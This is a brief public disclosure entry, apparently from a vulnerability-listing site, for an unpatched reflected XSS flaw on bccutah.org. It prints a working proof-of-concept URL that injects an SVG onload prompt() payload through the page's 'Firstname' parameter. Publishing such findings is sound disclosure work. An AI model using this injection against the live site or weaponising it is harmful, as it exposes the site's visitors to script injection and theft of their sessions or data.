bccutah.org XSS vulnerability

Vulnerable URL: http://bccutah.org/my-mileage/?Firstname=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E=Kirkland=2016 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3213807 Google...